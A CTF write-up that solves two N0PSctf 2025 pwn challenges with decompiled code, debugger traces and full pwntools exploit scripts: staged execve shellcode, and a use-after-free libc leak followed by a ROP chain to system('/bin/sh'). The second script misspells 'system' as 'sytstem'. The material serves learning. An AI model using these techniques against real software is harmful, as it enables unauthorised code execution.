[WRITE UP] - N0PSctf 2025

index

pwnfield

Challenge Information

Author

Xen0s

Source code analysis

Souce code

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <stdint.h>
4
#include <string.h>
5
#include <sys/mman.h>
6
#include <unistd.h>
7

8
#define MAX_INSTRUCTIONS 32
9
#define USER_INSTR_SIZE 5
10
#define MINE_SIZE 12
11
#define LINE_SIZE (USER_INSTR_SIZE + MINE_SIZE)
12
#define TOTAL_SIZE (LINE_SIZE * MAX_INSTRUCTIONS) + 1
13

14
const uint8_t exit_mine[] = {
15
    0xB8, 0x3C, 0x00, 0x00, 0x00,
16
    0xBF, 0x39, 0x05, 0x00, 0x00,
17
    0x0F, 0x05
18
};
19

20
int main() {
21
    setbuf(stdin, NULL);
22
    setbuf(stdout, NULL);
23

24
    void *mem = mmap(NULL, TOTAL_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
25
                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
26
    if (mem == MAP_FAILED) {
27
        perror("mmap");
28
        exit(1);
29
    }
30

31
    uint8_t *p = mem;
32
    printf("Type 'exit' to stop inputting instructions.\n");
33
    for (int i = 0; i < MAX_INSTRUCTIONS; i++) {
34
        printf("Instruction %d/32 (5 bytes mov): ", i + 1);
35
        fflush(stdout);
36

37
        uint8_t buf[USER_INSTR_SIZE];
38
        ssize_t n = read(0, buf, USER_INSTR_SIZE);
39
        if (n != USER_INSTR_SIZE) {
40
            puts("Bad input.");
41
            exit(1);
42
        }
43

44
        if (strncmp((char *)buf, "exit", 4) == 0) {
45
            puts("Starting execution!");
46
            break;
47
        }
48

49
        // Must be mov — opcode B8..BF
50
        if (buf[0] < 0xB8 || buf[0] > 0xBF) {
51
            puts("Only mov r32, imm32 allowed.");
52
            exit(1);
53
        }
54

55
        memcpy(p, buf, USER_INSTR_SIZE);
56
        p += USER_INSTR_SIZE;
57

58
        memcpy(p, exit_mine, MINE_SIZE);
59
        p += MINE_SIZE;
60
    }
61

62

63
    printf("Start execution from which instruction? ");
64
    fflush(stdout);
65

66
    char input[32];
67
    read(0, input, sizeof(input) - 1);
68
    input[31] = '\0';
69

70
    int32_t index = atoi(input);
71

72
    // Check if index is within bounds
73
    if (index < 0) {
74
        puts("Invalid instruction index.");
75
        exit(1);
76
    }
77

78
    // Calculate starting address with bounds checking
79
    void *start = mem + (((int64_t)index * LINE_SIZE) % TOTAL_SIZE);
80

81
    puts("Executing...");
82
    ((void(*)())start)();
83

84
    return 0;
85
}

This will be a shellcode challenge, but with some restrictions. One of those restrictions is that exit_mine will be added after each time we enter our shellcode. And we are only allowed to enter 5 bytes at a time (32 times in total). More notably, in the calculation to execute the shellcode based on the index, our shellcode will be ordered to go 1 byte based on this formula

1
void *start = mem + (((int64_t)index * LINE_SIZE) % TOTAL_SIZE);

That is, if the address of where we write the shellcode is 0x404400, then when it executes it will execute at 0x404401. Therefore, our shellcode is always offset by 1 byte and from there it always executes the commands in exit_mine

Exploit

To solve this problem, we can think of using the jump command to jump to each section in our shellcode. Our idea here is to let the program read one more time, and in this next write we will write the real shellcode, that is, execve to drop the shell. So to calculate the offset you want to jump you can try to enter some random instruction that satisfies the condition, then just subtract the address from it:

1
pwndbg> tel 0x7158ecb42001
2
00:0000│ rdx rip 0x7158ecb42001 ◂— pop rsi /* 0x3cb80d755e5e */
3
01:0008│         0x7158ecb42009 ◂— add byte ptr [rdi + 0x539], bh /* 0x50f00000539bf00 */
4
02:0010│         0x7158ecb42011 ◂— mov edi, 0xd755e5a /* 0x3cb80d755e5abf */
5
03:0018│         0x7158ecb42019 ◂— add byte ptr [rax], al /* 0xf00000539bf0000 */
6
04:0020│         0x7158ecb42021 ◂— add eax, 0x74ff31bf /* 0x3cb80d74ff31bf05 */
7
05:0028│         0x7158ecb42029 ◂— add byte ptr [rax], al /* 0x539bf000000 */
8
06:0030│         0x7158ecb42031 ◂— syscall  /* 0xb8e6ff050fbf050f */
9
07:0038│         0x7158ecb42039 ◂— cmp al, 0 /* 0x539bf0000003c; '<' */
10
pwndbg> x/i 0x7158ecb42011+0x1
11
   0x7158ecb42012:      pop    rdx
12
pwndbg> x/3i 0x7158ecb42001
13
=> 0x7158ecb42001:      pop    rsi
14
   0x7158ecb42002:      pop    rsi
15
   0x7158ecb42003:      jne    0x7158ecb42012
16
pwndbg> p/x 0x7158ecb42012-0x7158ecb42003
17
$2 = 0xf
18
pwndbg> p/d
19
$3 = 15

As we can see our offset will be 0xf which means we will need 15 bytes to hit it, but we can’t specify exactly where it will hit the next instruction in the shellcode. So we will just set the offset to skip to 13 and add another nop padding of 14 so that when it hits the next instruction in our shellcode, the nop will do nothing and thus it will execute the next instruction in the shellcode smoothly. One more note is that we need to add a conditional byte at the beginning of the shellcode so that when it +1 it will execute the correct instruction we want.

Exploit


31 collapsed lines
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from subprocess import check_output
5
from time import sleep
6

7
context.log_level = 'debug'
8
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
9
exe = context.binary = ELF('./pwnfield', checksec=False)
10
libc = exe.libc
11

12
gdbscript = '''
13
init-pwndbg
14
b *main+594
15
c
16
'''
17

18
def start(argv=[]):
19
    if args.REMOTE:
20
        return remote(sys.argv[1], sys.argv[2])
21
    elif args.DOCKER:
22
        p = remote("localhost", 5000)
23
        sleep(0.5)
24
        pid = int(check_output(["pidof", "-s", "/app/run"]))
25
        gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
26
        pause()
27
        return p
28
    else:
29
        return process([exe.path] + argv)
30

31

32
# ==================== EXPLOIT ====================
33
p = start()
34

35
jmp_not_equal = asm('jne skip; ' + 'nop\n' * 13 + 'skip: nop')[:2]
36
jmp_equal = asm('je skip; ' + 'nop\n' * 13 + 'skip: nop')[:2]
37

38
instructions = []
39

40
sc1 = asm('pop rsi; pop rsi;')
41
instructions.append(b'\xbf' + sc1 + jmp_not_equal)
42

43
sc2 = asm('pop rdx; pop rsi;')
44
instructions.append(b'\xbf' + sc2 + jmp_not_equal)
45

46
sc3 = asm('xor edi, edi')
47
instructions.append(b'\xbf' + sc3 + jmp_equal)
48

49
sc4 = asm('syscall; jmp rsi')
50
instructions.append(b'\xbf' + sc4)
51

52

53
while len(instructions) < 32:
54
    instructions.append(b'\xbf' + p32(0x0))
55

56
# print(instructions)
57

58
for i, ins in enumerate(instructions):
59
    sa(f'Instruction {i+1}/32 (5 bytes mov): '.encode(), ins)
60

61
if args.GDB:
62
    gdb.attach(p, gdbscript=gdbscript)
63
    pause()
64

65
sla(b"instruction? ", b"0")
66

67
# pause()
68

69
sc5 = asm('''
70
    xor rax, rax
71
    mov rbx, 0x68732f6e69622f
72
    push rbx
73
    mov rdi, rsp
74
    xor rsi, rsi
75
    xor rdx, rdx
76
    mov al, 0x3b
77
    syscall
78
''')
79

80
sleep(0.2)
81
sl(sc5)
82

83
interactive()
84
# N0PS{0n3_h45_70_jump_0n_7h3_204d_70_pwnt0p1a}

Under Attack

Challenge Information

Author

y3noor

Reverse Engineering

main function

1
__int64 __fastcall main(int a1, char **a2, char **a3)
2
{
3
  FILE *stdout; // rdi
4
  int n3; // ebx
5
  unsigned int index; // [rsp+Ch] [rbp-88Ch] BYREF
6
  size_t size; // [rsp+10h] [rbp-888h] BYREF
7
  __int64 (__fastcall *v8)(); // [rsp+18h] [rbp-880h] BYREF
8
  char s1[64]; // [rsp+20h] [rbp-878h] BYREF
9
  _BYTE v10[512]; // [rsp+60h] [rbp-838h] BYREF
10
  char hex_payload[512]; // [rsp+260h] [rbp-638h] BYREF
11
  char s[1080]; // [rsp+460h] [rbp-438h] BYREF
12

13
  puts("Noopsy Defenses CRUSHED! Ladybug Command System FULLY OPERATIONAL!");
14
  stdout = ::stdout;
15
  fflush(::stdout);
16
  menu(stdout);
17
  printf("\nNoopsy Land is ours! Your command, Overlord?: ");
18
  fflush(::stdout);
19
  while ( fgets(s, 1024, stdin) )
20
  {
21
    s[strcspn(s, "\n")] = 0;
22
    hex_payload[0] = 0;
23
    v10[0] = 0;
24
    s1[0] = 0;
25
    n3 = __isoc99_sscanf(s, "%63s %511s %511s", s1, v10, hex_payload);
26
    if ( n3 > 0 )
27
    {
28
      if ( !strcmp(s1, "unleash_swarm") )
29
      {
30
        if ( n3 == 3
31
          && (unsigned int)__isoc99_sscanf(v10, "%d", &index) == 1
32
          && (unsigned int)__isoc99_sscanf(hex_payload, "%zu", &size) == 1 )
33
        {
34
          unleash_swarm(index, size);
35
        }
36
        else
37
        {
38
          puts("ERROR: Usage: unleash_swarm <idx> <size>");
39
        }
40
      }
41
      else if ( !strcmp(s1, "corrupt_systems") )
42
      {
43
        if ( n3 == 3 && (unsigned int)__isoc99_sscanf(v10, "%d", &index) == 1 )
44
          corrupt_systems(index, hex_payload);
45
        else
46
          puts("ERROR: Usage: corrupt_systems <idx> <hex_payload>");
47
      }
48
      else if ( !strcmp(s1, "gather_intel") )
49
      {
50
        if ( n3 == 2 && (unsigned int)__isoc99_sscanf(v10, "%d", &index) == 1 )
51
          gather_intel(index);                  // Leak
52
        else
53
          puts("ERROR: Usage: gather_intel <idx>");
54
      }
55
      else if ( !strcmp(s1, "retreat_agent") )
56
      {
57
        if ( n3 == 2 && (unsigned int)__isoc99_sscanf(v10, "%d", &index) == 1 )
58
          retreat_agent(index);                 // Free
59
        else
60
          puts("ERROR: Usage: retreat_agent <idx>");
61
      }
62
      else if ( !strcmp(s1, "seize_airwaves") )
63
      {
64
        if ( n3 == 2 && (unsigned int)__isoc99_sscanf(v10, "%llx", &v8) == 1 )
65
          seize_airwaves(v8);
66
        else
67
          puts("ERROR: Usage: seize_airwaves <hex_addr>");
68
      }
69
      else if ( !strcmp(s1, "send_echo_pulse") )
70
      {
71
        if ( n3 == 1 )
72
          send_echo_pulse();
73
        else
74
          puts("ERROR: Usage: send_echo_pulse");
75
      }
76
      else if ( !strcmp(s1, "steal_noopsy_secrets") )
77
      {
78
        if ( n3 == 1 )
79
          steal_noopsy_secrets();
80
        else
81
          puts("ERROR: Usage: steal_noopsy_secrets");
82
      }
83
      else if ( !strcmp(s1, "initiate_city_takeover") )
84
      {
85
        if ( n3 == 2 && (unsigned int)__isoc99_sscanf(v10, "%llx", &v8) == 1 )
86
        {
87
          initiate_city_takeover((__int64)v8);
88
          puts("[SYSTEM] Post-Takeover: Control flow unexpectedly returned.");
89
        }
90
        else
91
        {
92
          puts("ERROR: Usage: initiate_city_takeover <hex_addr>");
93
        }
94
      }
95
      else
96
      {
97
        if ( !strcmp(s1, "vanish_into_shadows") )
98
        {
99
          puts("Ladybug Command disengaging. Noopsy Land remains under our shadow.");
100
          fflush(::stdout);
101
          break;
102
        }
103
        printf("ERROR: Unknown directive from the Overlord: '%s'.\n", s1);
104
      }
105
      fflush(::stdout);
106
      if ( !strcmp(s1, "vanish_into_shadows") )
107
        continue;
108
    }
109
    printf("\nNoopsy Land is ours! Your command, Overlord?: ");
110
    fflush(::stdout);
111
  }
112
  fflush(::stdout);
113
  return 0LL;
114
}

unleash_swarm function

1
int __fastcall unleash_swarm(unsigned int n7, size_t nmemb)
2
{
3
  void *v2; // rax
4

5
  if ( n7 > 7 )
6
  {
7
    printf("ERROR: Agent index %d out of designated Noopsy sectors (0-%d).\n", n7, 7);
8
  }
9
  else if ( qword_4040E0[n7] )
10
  {
11
    printf("ERROR: Agent %d already commands this Noopsy sector.\n", n7);
12
  }
13
  else if ( nmemb )
14
  {
15
    v2 = calloc(nmemb, 1uLL);
16
    qword_4040E0[n7] = v2;
17
    if ( v2 )
18
    {
19
      qword_4040A0[n7] = nmemb;
20
      printf("AGENT_DEPLOYED: %p\n", v2);
21
    }
22
    else
23
    {
24
      printf("ERROR: Failed to materialize agent %d (strength %zu). Resources stretched thin?\n", n7, nmemb);
25
    }
26
  }
27
  else
28
  {
29
    puts("ERROR: Cannot deploy agent of zero strength. Noopsy remnants might resist!");
30
  }
31
  return fflush(stdout);
32
}

corrupt_systems function

1
int __fastcall corrupt_systems(unsigned int n7, const char *s)
2
{
3
  const char *s_1; // r15
4
  size_t n; // rbp
5
  size_t size_1; // r12
6
  size_t size; // r14
7
  char *ptr_1; // r12
8
  __int64 pn7; // rsi
9
  const char *inject_msg; // rdi
10
  char *ptr; // [rsp+0h] [rbp-48h]
11
  void *dest; // [rsp+8h] [rbp-40h]
12

13
  if ( n7 > 7 || (dest = (void *)qword_4040E0[n7]) == 0LL )
14
  {
15
    pn7 = n7;
16
    inject_msg = "ERROR: Agent %d is offline. Cannot inject subversive payload.\n";
17
    goto LABEL_13;
18
  }
19
  s_1 = s;
20
  n = strlen(s);
21
  size_1 = n >> 1;
22
  size = (n >> 1) + 1;
23
  ptr = (char *)malloc(size);
24
  if ( !ptr )
25
  {
26
    printf("ERROR: Payload buffer corrupted for agent %d.\n", n7);
27
    return fflush(stdout);
28
  }
29
  if ( !n )
30
  {
31
LABEL_12:
32
    memcpy(dest, ptr, n);
33
    free(ptr);
34
    pn7 = n7;
35
    inject_msg = "INJECT_OK: Payload assimilated by agent %d.\n";
36
LABEL_13:
37
    printf(inject_msg, pn7);
38
    return fflush(stdout);
39
  }
40
  if ( (n & 1) == 0 )
41
  {
42
    n >>= 1;
43
    if ( size >= size_1 )
44
    {
45
      if ( size_1 )
46
      {
47
        ptr_1 = ptr;
48
        while ( (unsigned int)__isoc99_sscanf(s_1, "%2hhx", ptr_1) == 1 )
49
        {
50
          s_1 += 2;
51
          ++ptr_1;
52
          if ( s_1 == &s[2 * n] )
53
            goto LABEL_12;
54
        }
55
        goto LABEL_11;
56
      }
57
      goto LABEL_12;
58
    }
59
  }
60
LABEL_11:
61
  printf("ERROR: Garbled payload data for agent %d.\n", n7);
62
  free(ptr);
63
  return fflush(stdout);
64
}

gather_intel function

1
int __fastcall gather_intel(unsigned int n7)
2
{
3
  unsigned __int64 n16; // rbp
4
  unsigned __int64 n16_1; // rbx
5
  int pn3; // esi
6

7
  if ( n7 <= 7 && qword_4040E0[n7] )
8
  {
9
    n16 = qword_4040A0[n7];
10
    if ( n16 )
11
    {
12
      if ( n16 > 16 )
13
        n16 = 16LL;
14
      n16_1 = 0LL;
15
      printf("INTEL_DATA: ");
16
      do
17
      {
18
        pn3 = *(unsigned __int8 *)(qword_4040E0[n7] + n16_1++);
19
        printf("%02x", pn3);
20
      }
21
      while ( n16_1 < n16 );
22
      putchar(10);
23
    }
24
    else
25
    {
26
      printf("INTEL_EMPTY: Agent %d is dormant.\n", n7);
27
    }
28
  }
29
  else
30
  {
31
    printf("ERROR: Agent %d MIA. Cannot retrieve intel.\n", n7);
32
  }
33
  return fflush(stdout);
34
}

retreat_agent function

1
int __fastcall retreat_agent(unsigned int n7)
2
{
3
  void *ptr; // rdi
4

5
  if ( n7 <= 7 && (ptr = (void *)qword_4040E0[n7]) != 0LL )
6
  {
7
    free(ptr);                                  // Use-After-Free
8
    printf("RECALL_OK: Agent %d has withdrawn.\n", n7);
9
  }
10
  else
11
  {
12
    printf("ERROR: Agent %d already extracted or never deployed.\n", n7);
13
  }
14
  return fflush(stdout);
15
}

seize_airwaves function

1
int __fastcall seize_airwaves(int (*psub_4016B0)())
2
{
3
  ::psub_4016B0 = psub_4016B0;
4
  printf("ANTENNA_OK: Noopsy communication channel %llx is NOW LADYBUG'S VOICE!\n", psub_4016B0);
5
  return fflush(stdout);
6
}

send_echo_pulse function

1
int send_echo_pulse()
2
{
3
  if ( psub_4016B0 )
4
    psub_4016B0();
5
  else
6
    puts("ERROR: Ladybug Command Relay offline.");
7
  return fflush(stdout);
8
}

Looking at the above functions, we will see a bug called Use-After-Free in the retreat_agent function. Besides, the seize_airwaves function allows us to pass in an address and execute it in the send_echo_pulse function, which allows us to execute any function arbitrarily if we have the libc base, this is not too difficult because we can create chunks with unlimited size, and putting that chunk into unsortedbin and leaking it with gather_intel is not too difficult for us.

Exploit

The tricky part here is that the program uses a non-Ubuntu libc, which means we have to find a ld that matches it for it to run, finding ld would be a pain if we were to search for it. Luckily we can build docker and get ld from it. After some GPT-fu techniques I found out that its image is debian:bookworm then we just need to use docker pull debian:bookworm and the next thing is to get ld and patch it into the binary

Back to the challenge above after getting the libc base, I will use it to pass the address of the gets function in and call that gets function, with the characteristic of reading infinite data, I can create a ROP chain, then let the program execute it when returning

Exploit


41 collapsed lines
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from subprocess import check_output
5
from time import sleep
6

7
context.log_level = 'debug'
8
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
9
exe = context.binary = ELF('./ladybug_app_patched', checksec=False)
10
libc = exe.libc
11

12
gdbscript = '''
13
init-pwndbg
14
b *0x40170B
15
b *0x401801
16
b *0x401897
17
b *0x401876
18
b *0x401961
19
b *0x4019DB
20
b *0x4017EB
21
b *0x40188F
22
b *0x401AD8
23
b *0x401A17
24
b *0x401A50
25
b *0x4013b3
26
c
27
'''
28

29
def start(argv=[]):
30
    if args.REMOTE:
31
        return remote(sys.argv[1], sys.argv[2])
32
    elif args.DOCKER:
33
        p = remote("localhost", 5000)
34
        sleep(0.5)
35
        pid = int(check_output(["pidof", "-s", "/app/run"]))
36
        gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
37
        pause()
38
        return p
39
    else:
40
        return process([exe.path] + argv, aslr=False)
41

42
def unleash_swarm(index, size):
43
    sla(b'Overlord?: ', f'unleash_swarm {index} {size}'.encode())
44

45
def corrupt_systems(index, hex_data):
46
    payload = b'corrupt_systems ' + str(index).encode() + b' ' + hex_data
47
    sla(b'Overlord?: ', payload)
48

49
def gather_intel(index):
50
    sla(b'Overlord?: ', f'gather_intel {index}'.encode())
51

52
def retreat_agent(index):
53
    sla(b'Overlord?: ', f'retreat_agent {index}'.encode())
54

55
def reversed_bytes(data: bytes) -> int:
56
    if all(32 <= b <= 126 for b in data):
57
        real_bytes = bytes.fromhex(data.decode())
58
    else:
59
        real_bytes = data
60

61
    reversed_bytes = real_bytes[::-1]
62
    return int.from_bytes(reversed_bytes, byteorder='little')
63

64
# ==================== EXPLOIT ====================
65
p = start()
66

67
unleash_swarm(0,  1056)
68
unleash_swarm(1, 1)
69

70
ru(b'AGENT_DEPLOYED: ')
71
heap = hexleak(rl()[:-1]) - 0x16c0
72
success('heap base @ %#x', heap)
73

74
retreat_agent(0)
75
gather_intel(0)
76

77
ru(b'INTEL_DATA: ')
78
data = rnb(12)
79

80
libc.address = reversed_bytes(data) - 0x1d2cc0
81
success('libc base @ %#x', libc.address)
82

83
rop = ROP(libc)
84
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
85
ret = pop_rdi + 1
86

87
payload = flat(
88
    0,
89
    ret,
90
    pop_rdi, next(libc.search(b'/bin/sh\0')),
91
    libc.sym.sytstem
92
)
93

94
sla(b'Overlord?: ', f'seize_airwaves {hex(libc.sym.gets)}'.encode())
95

96
if args.GDB:
97
    gdb.attach(p, gdbscript=gdbscript)
98
    pause()
99

100
sla(b'Overlord?: ', b'send_echo_pulse')
101

102
sl(payload*100)
103

104
sla(b'Overlord?: ', b'vanish_into_shadows')
105

106
sl(b'cat f*')
107

108
interactive()
109
# N0PS{its_N0pSt0pia's_Pleasure_that_L4dy_bug__is_w3aaker!!!__}

What I learned

After this CTF I had the opportunity to work on more constrained shellcode challenges, practicing my ability to write shellcodes depending on the program’s conditions. Besides that, flexibly used functions in libc to build ROP chains and drop a shell.